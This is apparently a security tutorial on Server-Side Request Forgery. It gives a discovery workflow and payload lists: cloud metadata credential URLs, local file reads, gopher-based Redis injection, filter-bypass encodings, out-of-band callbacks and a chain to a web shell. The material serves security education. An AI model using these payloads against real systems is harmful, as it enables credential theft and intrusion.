SSRF Attacks
Server-Side Request Forgery (SSRF) occurs when an application allows user-controlled input to trigger server-side HTTP requests. Instead of the attacker sending the request directly, the vulnerable server sends it on the attacker’s behalf. This enables attackers to access internal services, metadata endpoints, local files, and private networks that are normally inaccessible from the outside.
SSRF is extremely powerful because internal networks often trust the server’s own IP, giving the attacker privileged access to backend systems.
How SSRF Works
Many applications fetch remote resources such as:
-
URLs for image processing
-
Webhooks
-
API callbacks
-
PDF or file import
-
Server-to-server integrations
-
OAuth redirects
-
Payment verification endpoints
-
Social media preview generators
If the attacker can control the URL, they can force the server to request any address they choose.
Example vulnerable parameter:
?url=http://example.com/image.png
Backend code:
file_get_contents($_GET['url']);
If attacker supplies:
?url=http://127.0.0.1:8080/admin
The server requests an internal admin panel that is not exposed publicly.
Where SSRF Commonly Appears
Look for features that load remote content:
-
“Upload by URL”
-
“Fetch remote image”
-
“Preview link”
-
“Webhook callback tester”
-
“URL-based data import”
-
“Metadata refresh”
-
“PDF generation from URL”
-
“OpenAPI / Swagger URL import”
Any functionality that accepts a URL input is a possible SSRF target.
Types of SSRF
Basic SSRF
Attacker directly controls the URL:
?url=http://internal-system:8080
Blind SSRF
No direct output, but attacker can observe side effects:
-
Time delays
-
DNS lookups
-
Outbound traffic logs
SSRF to File Access
Using URL wrappers such as:
?url=file:///etc/passwd
If allowed, server returns the file contents.
SSRF to Protocol Abuse
If the server accepts multiple protocols:
-
http:// -
https:// -
file:// -
ftp:// -
gopher:// -
dict://
SSRF becomes significantly more dangerous.
SSRF to Cloud Metadata Service Access
Cloud providers expose metadata at internal IPs:
-
AWS:
http://169.254.169.254/latest/meta-data/ -
Google Cloud:
http://metadata.google.internal/computeMetadata/v1/ -
Azure:
http://169.254.169.254/metadata/instance
Accessing metadata often leaks:
-
IAM roles
-
API keys
-
access tokens
-
instance credentials
Which leads directly to cloud takeover.
Practical SSRF Discovery Workflow
Step 1: Identify URL Parameters
Test requests such as:
?url=
?imageUrl=
?dest=
?redirect=
?feed=
?callback=
?open=
Replace with controlled values and observe behavior.
Step 2: Test With Your Own Server
Start a server on your machine:
python3 -m http.server 8000
Inject:
?url=http://YOUR-IP:8000
If your server logs a request, SSRF exists.
Step 3: Explore Internal IPs
Test common internal ranges:
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
http://192.168.0.1
http://10.0.0.1
Check response differences to determine open ports.
Step 4: Port Scanning Through SSRF
Use the vulnerable server as a scanner by requesting:
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
Behavior changes reveal:
-
open ports
-
closed ports
-
filtered ports
Step 5: Access Cloud Metadata
Try:
http://169.254.169.254/latest/meta-data/
If successful, enumerate keys:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Extract credentials:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
This often leads to full cloud account compromise.
Step 6: File-Based SSRF
Attempt:
file:///etc/passwd
file:///proc/self/environ
If file contents appear, LFI + SSRF is confirmed.
Step 7: Out-of-Band SSRF Testing
If no direct output:
Use DNS logging platforms (e.g., Burp Collaborator).
Inject:
http://YOUR-DOMAIN.interact.sh
If a callback occurs → blind SSRF confirmed.
Advanced SSRF Payloads
Gopher Protocol RCE
Gopher allows raw TCP communication.
Example MySQL login brute attempt:
gopher://127.0.0.1:3306/_<raw-mysql-payload>
Redis Injection via SSRF
Force write commands:
gopher://127.0.0.1:6379/_SET pwned 1
If Redis has no authentication, this leads to remote manipulation.
PHAR Deserialization Trigger
If application processes phar://:
phar://path/to/malicious.phar
Leads to PHP object deserialization.
URL Encoding Bypass
Filters like http:// only can be bypassed via encoding:
hTtP:// -> mixed case
http:@localhost/path
\\127.0.0.1
Double encoding:
http:%252f%252flocalhost
Common SSRF Bypass Techniques
Schema Obfuscation
http:////localhost
http:/localhost
DNS Rebasing
Point attacker domain to internal IP:
internal.attacker.com -> 127.0.0.1
Then request:
http://internal.attacker.com
IP Decimal, Octal, Hex Encodings
Decimal IPv4:
http://2130706433
Hex:
http://0x7f000001
Octal:
http://017700000001
All resolve to 127.0.0.1.
IPv6 Shortcuts
http://[::ffff:127.1]
Bypasses IPv4-only filters.
Burp Parameter Pollution
url=http://safe.com?redirect=http://127.0.0.1
Real-World SSRF Exploitation Scenarios
Accessing Internal Admin Panels
?url=http://localhost/admin
Extracting Database Information
?url=http://127.0.0.1:3306/
Interacting With Internal APIs
?url=http://127.0.0.1:8000/api/v1/users
Dumping Cloud Credentials
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Achieving Remote Code Execution Through Chain Attacks
-
SSRF hits internal Redis
-
Redis writes to webroot
-
Web shell created
-
RCE achieved
SSRF almost always enables chaining with other internal vulnerabilities.
Intel Dump
-
SSRF forces the server to make attacker-controlled requests.
-
Used to access internal hosts, ports, files, and cloud metadata endpoints.
-
Testing includes probing localhost, private IP ranges, encoded URLs, and alternative protocols.
-
Blind SSRF is detected via DNS callbacks or time-based behavior.
-
Advanced payloads allow gopher-based RCE, Redis injection, and internal port scanning.
-
Impact includes internal network access, credential theft, cloud takeover, and full system compromise.